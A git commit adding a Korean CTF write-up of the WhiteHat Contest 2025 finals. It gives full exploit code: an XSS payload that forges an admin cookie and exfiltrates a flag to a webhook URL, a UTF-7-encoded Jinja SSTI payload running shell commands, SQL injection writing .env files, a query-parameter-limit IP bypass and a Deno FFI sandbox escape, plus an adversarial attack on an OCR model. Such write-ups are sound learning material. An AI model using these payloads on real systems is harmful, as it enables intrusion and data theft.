This commit is contained in:
도로롱
2025-11-24 12:22:35 +09:00
parent b6134d4b8b
commit 1dd9b7974c
10 changed files with 12305 additions and 0 deletions

View File

@@ -0,0 +1,507 @@
---
title: "화이트햇콘테스트 2025 본선 writeup"
description: "withcon 2025 final writeup"
date: "Nov 24 2025"
---
## Introduction
2025 WHITEHAT 본선에는 헤일메리 팀으로 참가해 총 7문제를 해결했고, 최종 성적은 본선 3위를 기록했다.
비공식 기준이긴 하지만 개인 solve 수만 놓고 보면 모든부분 1등이었다.
한 문제만 더 풀었으면 2등까지도 가능했을 것 같아 약간 아쉽기도 했다.
다음 writeup들은 대부분 ai가 대신 작성해준 내용이니 약간 읽기가 복잡할지도?
---
# 1. AI
## 1.1 Overview
이 문제는 제공된 OCR 모델을 속여 특정 문자열 **“givemeflag”**을 출력하게 만드는 Adversarial Attack 문제이다.
서버는 32×32 grayscale 이미지 10장을 받아 각 문자를 추출하고, 조합한 문자열이 정확히 맞으면 플래그를 반환한다.
- Goal: 서버가 “givemeflag”라고 읽도록 만드는 이미지 10장 생성
- Given Files:
- `OCR.h5` (Keras OCR Model)
- `main.py` (Server preprocessing & inference logic)
핵심은 “사람 눈에는 노이즈지만, 모델은 특정 문자로 착각하는 이미지”를 직접 만드는 것이다.
## 1.2 Analysis
`main.py`를 보면 서버는 다음 순서로 이미지를 처리한다.
1) Base64 decode
2) Convert to grayscale (L mode)
3) Resize to 32×32
4) Normalize with `/255.0`
5) Softmax → Argmax → Character mapping
즉, 사람이 보기에 정상적인 이미지일 필요가 없고, **모델이 속기 쉬운 패턴**을 만드는 것이 목표였다.
## 1.3 Methodology
- 문자 하나당 이미지 한 장 → 총 10장
- FGSM 같은 단일 스텝 방법은 제대로 수렴이 안 됨
- 이미지 자체를 변수로 두고 PGD 방식으로 반복 최적화 진행
Process 요약:
- 랜덤 노이즈로 이미지 초기화
- Loss를 타깃 문자 기준으로 최소화
- 매 스텝마다 clipping(0~1)
- 일정 기준 충족 시 조기 종료
## 1.4 Implementation
핵심 구현 방식은 다음과 같다.
- 문자 → index 변환
- 랜덤 텐서를 loss 방향으로 최적화
- logit이 충분히 높아지면 이미지 픽스
- 최종적으로 PIL로 32×32 Grayscale PNG 저장
Boundary가 넓은 “g”, “i” 등은 빨리 수렴했고, 좁은 “f”는 오래 걸렸다.
## 1.5 Verification
OCR.h5 모델에 직접 돌려본 결과:
Target: givemeflag
Predicted: givemeflag
SUCCESS!
모델이 의도대로 문자열을 정확히 인식했다.
## 1.6 Submission & Flag
Base64 인코딩 후 `/check`로 제출한 결과:
- alphabets: ["g","i","v","e","m","e","f","l","a","g"]
- flag: `whitehat2025{bc4498394e5fb4177656698d850b63d7cd2d49c04e749f8763bdfa4e4062dfd8}`
- text: "givemeflag"
## 1.7 Discussion
예선보다 약간 어려웠지만 막히는 난이도는 아니었다.
PGD가 잘 먹히는 구조라 모델 decision boundary의 취약함이 그대로 드러난 문제였다.
문항 풀이 과정 반절은 잼민이가 도와줬다.
---
# 2. Chat
## 2.1 Overview
이 문제는 Django 기반 채팅 애플리케이션의 취약점을 이용해 `/flag/`에서 플래그를 획득하는 문제이다.
Server constraints:
1. 요청 IP는 반드시 127.0.0.1
2. `username` 쿠키가 반드시 `admin`
## 2.2 Analysis
애플리케이션의 핵심 취약점은 **Inline HTML Preview + Playwright Bot** 조합이다.
- 메시지 안에 `<div>`, `<script>` 등이 포함되면 인라인 HTML로 분류되고 내부 URL이 생성됨
- 서버는 Playwright로 이 페이지를 띄워 HTML/JS를 실행함
- 봇은 기본적으로 `username=bot` 쿠키를 가짐
- 즉, 공격자가 보낸 JS가 **서버 로컬(127.0.0.1)** 환경에서 실행됨
→ 사실상 SSRF + XSS의 콜라보
## 2.3 Exploit
공격 목표는:
1. 봇의 쿠키를 `username=admin`으로 변조
2. `/flag/` 요청
3. 응답 플래그를 외부 Webhook으로 유출
Flow:
1. 악성 스크립트 포함된 HTML 메시지 전송
2. 봇이 Preview 렌더링 페이지 접속
3. JS 실행 → 쿠키 변조
4. JS 실행 → `/flag/` GET
5. 플래그 Webhook 유출
## 2.4 Implementation
Python exploit은 회원가입 → 로그인 후 악성 메시지 전송하는 구조였다.
```python
import requests
import json
import time
URL = "https://asdf"
WEBHOOK_URL = "https://webhook.site/asdf"
s = requests.Session()
s.verify = False
def register_and_login(username, password):
# 1. 회원가입
r = s.get(f"{URL}/register/")
csrf_token = s.cookies.get('csrftoken')
data = {
"csrfmiddlewaretoken": csrf_token,
"username": username,
"password1": password,
"password2": password
}
headers = {"Referer": f"{URL}/register/"}
s.post(f"{URL}/register/", data=data, headers=headers)
# 2. 로그인
r = s.get(f"{URL}/login/")
if "logout" in r.text:
return True
return False
def send_payload():
# XSS Payload
# 쿠키 변조: username=admin
# 플래그 요청 및 유출
payload = f"""
<div>
<script>
async function run() {{
try {{
// 쿠키 변조
document.cookie = "username=admin; path=/; secure; samesite=lax";
// 플래그 요청
let flagRes = await fetch('/flag/');
let flag = await flagRes.text();
// 외부로 유출
fetch('{WEBHOOK_URL}?flag=' + encodeURIComponent(flag));
}} catch (e) {{
fetch('{WEBHOOK_URL}?error=' + encodeURIComponent(e.toString()));
}}
}}
run();
</script>
</div>
"""
csrf_token = s.cookies.get('csrftoken')
data = {
"csrfmiddlewaretoken": csrf_token,
"message": payload
}
headers = {
"Referer": f"{URL}/",
"X-CSRFToken": csrf_token
}
print("Sending payload...")
s.post(f"{URL}/api/send/", data=data, headers=headers)
if __name__ == "__main__":
import uuid
username = f"attacker_{uuid.uuid4().hex[:8]}"
password = "password123"
if register_and_login(username, password):
send_payload()
print("flag!")
```
## 2.5 Discussion
솔직히 어렵진 않았던 문제이다. 다들 쉽게 풀기도 했으니...
---
# 3. Scenario 1-1
## 3.1 Overview
전자 문서 서명 서비스 자체의 취약점 때문에 서버가 탈취된 것으로 추정되며, 복제된 서버에서 flag를 획득하고 침해 원인을 규명하는 것이 목표였다.
SSTI 취약점으로 flag를 획득하면 된다.
---
## 3.2 Analysis
### 1) Server-Side Template Injection (SSTI)
**파일:** `app/core/pdf_renderer.py`
```python
def render_pdf(self, doc_id: str, markdown_content: str, title: str = "Document") -> dict:
try:
template = Template(markdown_content)
rendered_content = template.render()
```
사용자 입력을 템플릿 엔진에 직접 전달하는 전형적인 SSTI.
---
### 2) Broken Security Filter
**파일:** `app/core/security.py`
```python
def safe_markdown(content: str) -> bytes:
return content.replace("{{", "").replace("}}", "").encode("utf-8")
```
단순 치환이라 인코딩 우회에 매우 취약하다.
---
### 3) UTF-7 Decoding Bug (핵심)
**파일:** `app/api/documents.py`
```python
safe_markdown_content = safe_markdown(doc.markdown_content).decode("utf-7")
```
UTF-8로 인코딩한 후 UTF-7로 디코딩 → `{{ }}` 패턴 복원됨.
UTF-7 매핑:
```
+AHsAew- → {{
+AH0AfQ- → }}
```
필터가 무력화되며 SSTI가 그대로 살아난다.
---
## 3.3 Exploit
### Step 1 — UTF-7 Payload Construction
Payload:
```
+AHsAew-7*7+AH0AfQ-
```
서버 처리 흐름:
```
UTF-7 인코딩 → 필터 우회 → UTF-7 디코딩 → {{7*7}} 복원 → SSTI → 49 출력
```
---
### Step 2 — Local PoC
로컬에서 Jinja Template으로 테스트해 정상적으로 `{{7*7}}`가 복구되고 실행됨을 확인했다.
---
### Step 3 — RCE Payload (UTF-7 Encoded)
원본 SSTI:
```
{{ lipsum.__globals__['os'].popen('cat /app/flag.txt').read() }}
```
UTF-7 변환 후 최종 payload:
```
+AHsAew- lipsum+AC4-+AF8AXw-globals+AF8AXw-+AFs-+ACc-os+ACc-+AF0-+AC4-popen+ACg-+ACc-cat +AC8-app+AC8-flag+AC4-txt+ACc-+ACk-+AC4-read+ACg-+ACk- +AH0AfQ-
```
---
### Step 4 — Exploit Execution
- `/api/documents`로 문서 생성
- 렌더링 상태가 `completed` 될 때까지 대기
- `/api/documents/<id>/preview`로 PDF 다운로드
---
### Step 5 — Extract Flag from PDF
```
whitehat2025{a1c56e0f04fb9abc8467c89089703c8c224d56bc007344b37101f6abe3}
```
PDF 내부 텍스트에서 flag가 정상 추출되었다.
---
## 3.4 References
- https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/07-Input_Validation_Testing/18-Testing_for_Server_Side_Template_Injection
- https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection
- https://en.wikipedia.org/wiki/UTF-7
- https://jinja.palletsprojects.com/en/latest/
---
# 4. Scenario 1-2
이번 문제는 예선과 같이 취약한 파일들을 패치해서 검사받는 문제이다. llm 돌리면 3분컷나니 생략한다.
---
# 5. Scenario 1-3
그냥 vm 이미지에서 수상한 파일을 찾는 문제이다. 이 역시 별다른 어려움이 없을것이라 예상되니 스킵. 포렌식이 여기 숨어있었음. 이 문제 이후로 1-4를 풀지 못했다. 개어려움...
---
# 6. Lemo
## 6.1 Overview
Deno + Fresh 프레임워크로 작성된 웹 서비스에서 여러 보호 기법을 우회하여 플래그를 획득하는 문제이다.
SQL Injection, 환경 변수 조작, 파라미터 파싱 취약점, 그리고 Deno FFI 권한 우회까지 연결해야 하는 복합적인 문제였다. 솔직히 이 문제가 내가 푼 문제중에 가장 어려웠다. (사실 그래서 마지막에 넣었음)
## 6.2 Analysis
### 1) SQL Injection
`server/src/db.ts``createUser` 함수에서 사용자 입력을 직접 쿼리에 삽입하고 있다.
```typescript
export function createUser(username: string, password: string, role: Role = Role.USER) {
const result = db.exec(`INSERT INTO users (username, password, role) VALUES ('${username}', '${password}', ${role})`);
return result;
}
```
이를 통해 `ATTACH DATABASE` 구문을 실행하여 서버 파일 시스템에 임의의 파일을 생성할 수 있다.
### 2) IP Validation Logic (Nginx & Middleware)
서버는 `routes/api/admin/save.ts` 접근 시 IP가 `127.0.0.1`인지 검사한다.
외부에서 접근 시 Nginx가 `purify.js`를 통해 강제로 실제 IP를 주입하여 우회를 차단하려 한다.
**nginx/js/purify.js:**
```javascript
function fix(r) {
var out = [];
var args = r.args;
// ... 기존 ip 파라미터 제거 로직 ...
var real_ip = r.variables.remote_addr || "";
out.push('ip=' + real_ip); // 실제 IP를 쿼리 스트링 마지막에 추가
return out.join('&');
}
```
하지만 백엔드(`routes/_middleware.ts`)에서는 `npm:qs`를 사용하여 쿼리를 파싱하는데, 여기에 허점이 존재한다.
**routes/_middleware.ts:**
```typescript
import qs from "npm:qs";
async function parseQuery(req: Request) {
// ...
const parsed = qs.parse(rawQS); // parameterLimit: 1000 (default)
return parsed;
}
// ...
if (ctx.state.query.ip) {
ctx.state.ip = ctx.state.query.ip;
} else {
ctx.state.ip = "127.0.0.1"; // ip 파라미터가 파싱되지 않으면 로컬로 간주
}
```
`qs` 라이브러리는 기본적으로 **1000개의 파라미터만 파싱**하는 제한(`parameterLimit`)이 있다.
따라서 공격자가 1000개 이상의 더미 파라미터를 보내면, Nginx가 맨 뒤에 붙인 `ip=REAL_IP`는 파싱 범위 밖으로 밀려나 무시된다.
결과적으로 `ctx.state.query.ip``undefined`가 되고, 서버는 이를 로컬 접속(`127.0.0.1`)으로 오인하게 된다.
### 3) NODE_ENV Validation
`save.ts``NODE_ENV`가 "development"일 때만 동작한다.
기본값은 "production"이지만, 앞서 언급한 SQL Injection을 통해 `.env` 파일을 생성하고 `NODE_ENV=development` 내용을 주입하여 이를 우회할 수 있다.
### 4) Deno FFI
`deno.json` 설정에서 `--allow-ffi` 옵션이 활성화되어 있다.
이는 Deno의 샌드박스(파일 시스템 접근 제한 등)를 우회할 수 있는 치명적인 설정이다. `libc`와 같은 네이티브 라이브러리를 로드하여 `fopen`, `fgetc` 등의 함수를 직접 호출하면 `--allow-read` 제한과 상관없이 모든 파일을 읽을 수 있다.
## 6.3 Exploit Flow
1. **NODE_ENV Injection**: SQL Injection으로 `.env` 파일을 생성한다. SQLite 헤더가 포함되지만, 개행 문자를 넣어 `NODE_ENV=development`를 유효한 라인으로 만든다.
2. **Server Restart**: `routes/` 디렉토리에 더미 파일을 생성하여 Deno의 Hot Reload를 트리거한다. 재시작 시 조작된 `.env`가 로드된다.
3. **IP Bypass**: 요청 쿼리 스트링에 1000개의 더미 파라미터를 포함시켜, Nginx가 뒤에 붙이는 `ip=REAL_IP`가 파싱되지 않도록 한다.
4. **RCE**: `save.ts`를 호출하여 FFI 코드가 담긴 TypeScript 파일을 생성하고 실행한다.
## 6.4 Implementation
**FFI Payload (TypeScript):**
Deno의 권한을 우회하여 `/flag`를 읽는 코드이다.
```typescript
import { Handlers } from "$fresh/server.ts";
export const handler: Handlers = {
async GET(req) {
try {
const lib = Deno.dlopen("libc.so.6", {
fopen: { parameters: ["buffer", "buffer"], result: "pointer" },
fgetc: { parameters: ["pointer"], result: "i32" },
fclose: { parameters: ["pointer"], result: "i32" },
});
const path = new TextEncoder().encode("/flag\0");
const mode = new TextEncoder().encode("r\0");
const fp = lib.symbols.fopen(path, mode);
if (fp === null || fp.value === 0n) return new Response("Failed");
let content = "";
while (true) {
const c = lib.symbols.fgetc(fp);
if (c === -1) break;
content += String.fromCharCode(c);
}
lib.symbols.fclose(fp);
return new Response(content);
} catch (e) {
return new Response(e.toString());
}
}
};
```
**Exploit Script (Python):**
```python
import requests
import time
URL = "http://asdf"
def sql_exec(query):
# 회원가입 로직을 통한 SQL Injection 수행
pass
# 1. .env 생성 (NODE_ENV=development)
print("[*] Creating .env...")
env_payload = "x', 'x', 0); ATTACH DATABASE '.env' AS env; CREATE TABLE env.config(val TEXT); INSERT INTO env.config VALUES ('\\nNODE_ENV=development\\n'); --"
sql_exec(env_payload)
# 2. 서버 재시작 트리거
print("[*] Triggering restart...")
restart_payload = f"x', 'x', 0); ATTACH DATABASE 'routes/restart_{int(time.time())}.ts' AS r; CREATE TABLE r.d(v TEXT); --"
sql_exec(restart_payload)
time.sleep(5) # 재시작 대기
# 3. QS Limit Bypass & Payload Upload
print("[*] Uploading FFI payload...")
dummy_params = "&".join([f"p{i}=1" for i in range(1000)])
target_url = f"{URL}/api/admin/save?{dummy_params}"
ffi_code = open("payload.ts", "r").read()
data = {
"filepath": "api/exploit.ts",
"content": ffi_code
}
# Nginx가 ip=REAL_IP를 붙이지만 1000개 제한으로 무시됨 -> 127.0.0.1로 인식
requests.post(target_url, data=data)
# 4. Flag 획득
print("[*] Getting flag...")
res = requests.get(f"{URL}/api/exploit")
print(f"Flag: {res.text}")
```
## 6.5 Flag
`whitehat2025{9584eeed890b0b6c68ec1136d009d41504be65c970ee77cce7223ec2f49f3dc6}`
## 6.6 Discussion
단계별로 뚫어야 할 벽이 많아서 매우 까다로웠다. 다들 sqli만 시도하고 막혔을 것이라 생각한다. 나도 잼민이의 도움을 받아 겨우 풀이할 수 있었다.
특히 Deno 환경에서 FFI로 샌드박스를 탈출하는 기법이 인상적이었다.
---